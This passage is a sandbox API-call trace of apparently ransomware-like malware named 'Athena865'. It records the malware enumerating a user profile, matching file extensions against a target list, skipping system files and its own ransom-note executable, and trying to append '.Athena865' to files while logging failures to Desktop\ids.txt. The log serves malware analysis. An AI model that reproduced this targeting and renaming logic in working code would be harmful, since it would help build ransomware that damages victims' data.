lstrlenW (lpString="xml") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="xml") returned -1 [0035.663] lstrlenW (lpString="$er") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="$er") returned 1 [0035.663] lstrlenW (lpString="4dd") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="4dd") returned 1 [0035.663] lstrlenW (lpString="4dl") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="4dl") returned 1 [0035.663] lstrlenW (lpString="^^^") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="^^^") returned 1 [0035.663] lstrlenW (lpString="abs") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="abs") returned 1 [0035.663] lstrlenW (lpString="abx") returned 3 [0035.663] lstrcmpiW (lpString1="OG2", lpString2="abx") returned 1 [0035.663] lstrlenW (lpString="accdb") returned 5 [0035.663] lstrcmpiW (lpString1=".LOG2", lpString2="accdb") returned -1 [0035.663] lstrlenW (lpString="accdc") returned 5 [0035.663] lstrcmpiW (lpString1=".LOG2", lpString2="accdc") returned -1 [0035.663] lstrlenW (lpString="accde") returned 5 [0035.663] lstrcmpiW (lpString1=".LOG2", lpString2="accde") returned -1 [0035.663] lstrlenW (lpString="accdr") returned 5 [0035.663] lstrcmpiW (lpString1=".LOG2", lpString2="accdr") returned -1 [0035.663] lstrlenW (lpString="accdt") returned 5 [0035.664] lstrcmpiW (lpString1=".LOG2", lpString2="accdt") returned -1 [0035.664] lstrlenW (lpString="accdw") returned 5 [0035.664] lstrcmpiW (lpString1=".LOG2", lpString2="accdw") returned -1 [0035.664] lstrlenW (lpString="accft") returned 5 [0035.664] lstrcmpiW (lpString1=".LOG2", lpString2="accft") returned -1 [0035.664] lstrlenW (lpString="adb") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1 [0035.664] lstrlenW (lpString="adb") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1 [0035.664] lstrlenW (lpString="ade") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="ade") returned 1 [0035.664] lstrlenW (lpString="adf") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="adf") returned 1 [0035.664] lstrlenW (lpString="adn") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="adn") returned 1 [0035.664] lstrlenW (lpString="adp") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="adp") returned 1 [0035.664] lstrlenW (lpString="alf") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="alf") returned 1 [0035.664] lstrlenW (lpString="ask") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="ask") returned 1 [0035.664] lstrlenW (lpString="btr") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="btr") returned 1 [0035.664] lstrlenW (lpString="cat") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="cat") returned 1 [0035.664] lstrlenW (lpString="cdb") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="cdb") returned 1 [0035.664] lstrlenW (lpString="ckp") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="ckp") returned 1 [0035.664] lstrlenW (lpString="cma") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="cma") returned 1 [0035.664] lstrlenW (lpString="cpd") returned 3 [0035.664] lstrcmpiW (lpString1="OG2", lpString2="cpd") returned 1 [0035.664] lstrlenW (lpString="dacpac") returned 6 [0035.665] lstrcmpiW (lpString1="t.LOG2", lpString2="dacpac") returned 1 [0035.665] lstrlenW (lpString="dad") returned 3 [0035.665] lstrcmpiW (lpString1="OG2", lpString2="dad") returned 1 [0035.665] lstrlenW (lpString="dadiagrams") returned 10 [0035.665] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="dadiagrams") returned 1 [0035.665] lstrlenW (lpString="daschema") returned 8 [0035.665] lstrcmpiW (lpString1="dat.LOG2", lpString2="daschema") returned 1 [0035.665] lstrlenW (lpString="db-journal") returned 10 [0035.665] lstrcmpiW (lpString1="r.dat.LOG2", lpString2="db-journal") returned 1 [0035.665] lstrlenW (lpString="db-shm") returned 6 [0035.665] lstrcmpiW (lpString1="t.LOG2", lpString2="db-shm") returned 1 [0035.665] lstrlenW (lpString="db-wal") returned 6 [0035.665] lstrcmpiW (lpString1="t.LOG2", lpString2="db-wal") returned 1 [0035.665] lstrlenW (lpString="dbc") returned 3 [0035.665] lstrcmpiW (lpString1="OG2", lpString2="dbc") returned 1 [0035.665] lstrlenW (lpString="dbs") returned 3 [0035.665] lstrcmpiW (lpString1="OG2", lpString2="dbs") returned 1 [0035.665] lstrlenW (lpString="dbt") returned 3 [0035.665] lstrcmpiW (lpString1="OG2", lpString2="dbt") returned 1 [0035.665] lstrlenW (lpString="dbv") returned 3 [0035.665] lstrcmpiW (lpString1="OG2", lpString2="dbv") returned 1 [0035.665] lstrlenW (lpString="dbx") returned 3 [0035.665] lstrcmpiW (lpString1="OG2", lpString2="dbx") returned 1 [0035.665] lstrlenW (lpString="dcb") returned 3 [0035.665] lstrcmpiW (lpString1="OG2", lpString2="dcb") returned 1 [0035.665] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2.Athena865") returned 72 [0035.665] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat.log2.athena865"), dwFlags=0x1) returned 0 [0035.665] GetLastError () returned 0x20 [0035.666] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2 MoveFileEx error 32\r\n") returned 92 [0035.666] lstrlenA (lpString="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2 MoveFileEx error 32\r\n") returned 92 [0035.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.666] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x125e [0035.666] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x5c, lpOverlapped=0x0) returned 1 [0035.666] CloseHandle (hObject=0x154) returned 1 [0035.667] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.667] CloseHandle (hObject=0x0) returned 0 [0035.667] CloseHandle (hObject=0x0) returned 0 [0035.667] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="windows") returned -1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="bootmgr") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="temp") returned -1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="pagefile.sys") returned -1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="boot") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ids.txt") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="ntuser.dat") returned 1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="perflogs") returned -1 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="MSBuild") returned 1 [0035.667] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0035.667] lstrcpyW (in: lpString1=0x241e8a6, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0035.667] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0035.667] lstrlenW (lpString="Athena865") returned 9 [0035.667] lstrcmpiW (lpString1="c}.TM.blf", lpString2="Athena865") returned 1 [0035.667] lstrlenW (lpString=".dll") returned 4 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".dll") returned 1 [0035.667] lstrlenW (lpString=".lnk") returned 4 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".lnk") returned 1 [0035.667] lstrlenW (lpString=".ini") returned 4 [0035.667] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".ini") returned 1 [0035.667] lstrlenW (lpString=".sys") returned 4 [0035.668] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".sys") returned 1 [0035.668] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0035.668] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865") returned 112 [0035.668] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.athena865"), dwFlags=0x1) returned 0 [0035.668] GetLastError () returned 0x20 [0035.668] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf MoveFileEx error 32\r\n") returned 132 [0035.668] lstrlenA (lpString="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf MoveFileEx error 32\r\n") returned 132 [0035.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.668] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x12ba [0035.668] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x84, lpOverlapped=0x0) returned 1 [0035.668] CloseHandle (hObject=0x154) returned 1 [0035.669] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.669] CloseHandle (hObject=0x0) returned 0 [0035.669] CloseHandle (hObject=0x0) returned 0 [0035.669] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="windows") returned -1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="bootmgr") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="temp") returned -1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="pagefile.sys") returned -1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="boot") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ids.txt") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat") returned 1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="perflogs") returned -1 [0035.669] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="MSBuild") returned 1 [0035.669] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0035.669] lstrcpyW (in: lpString1=0x241e8a6, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0035.669] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0035.669] lstrlenW (lpString="Athena865") returned 9 [0035.669] lstrcmpiW (lpString1="gtrans-ms", lpString2="Athena865") returned 1 [0035.670] lstrlenW (lpString=".dll") returned 4 [0035.670] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".dll") returned 1 [0035.670] lstrlenW (lpString=".lnk") returned 4 [0035.670] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".lnk") returned 1 [0035.670] lstrlenW (lpString=".ini") returned 4 [0035.670] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".ini") returned 1 [0035.670] lstrlenW (lpString=".sys") returned 4 [0035.670] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".sys") returned 1 [0035.670] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0035.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865") returned 149 [0035.670] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.athena865"), dwFlags=0x1) returned 0 [0035.670] GetLastError () returned 0x20 [0035.670] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms MoveFileEx error 32\r\n") returned 169 [0035.670] lstrlenA (lpString="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms MoveFileEx error 32\r\n") returned 169 [0035.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.670] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x133e [0035.670] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0xa9, lpOverlapped=0x0) returned 1 [0035.670] CloseHandle (hObject=0x154) returned 1 [0035.671] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.671] CloseHandle (hObject=0x0) returned 0 [0035.671] CloseHandle (hObject=0x0) returned 0 [0035.671] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="windows") returned -1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="bootmgr") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="temp") returned -1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="pagefile.sys") returned -1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="boot") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ids.txt") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="ntuser.dat") returned 1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="perflogs") returned -1 [0035.671] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="MSBuild") returned 1 [0035.672] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0035.672] lstrcpyW (in: lpString1=0x241e8a6, lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0035.672] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0035.672] lstrlenW (lpString="Athena865") returned 9 [0035.672] lstrcmpiW (lpString1="gtrans-ms", lpString2="Athena865") returned 1 [0035.672] lstrlenW (lpString=".dll") returned 4 [0035.672] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".dll") returned 1 [0035.672] lstrlenW (lpString=".lnk") returned 4 [0035.672] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".lnk") returned 1 [0035.672] lstrlenW (lpString=".ini") returned 4 [0035.672] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".ini") returned 1 [0035.672] lstrlenW (lpString=".sys") returned 4 [0035.672] lstrcmpiW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".sys") returned 1 [0035.672] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0035.672] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865") returned 149 [0035.672] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.athena865"), dwFlags=0x1) returned 0 [0035.672] GetLastError () returned 0x20 [0035.672] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms MoveFileEx error 32\r\n") returned 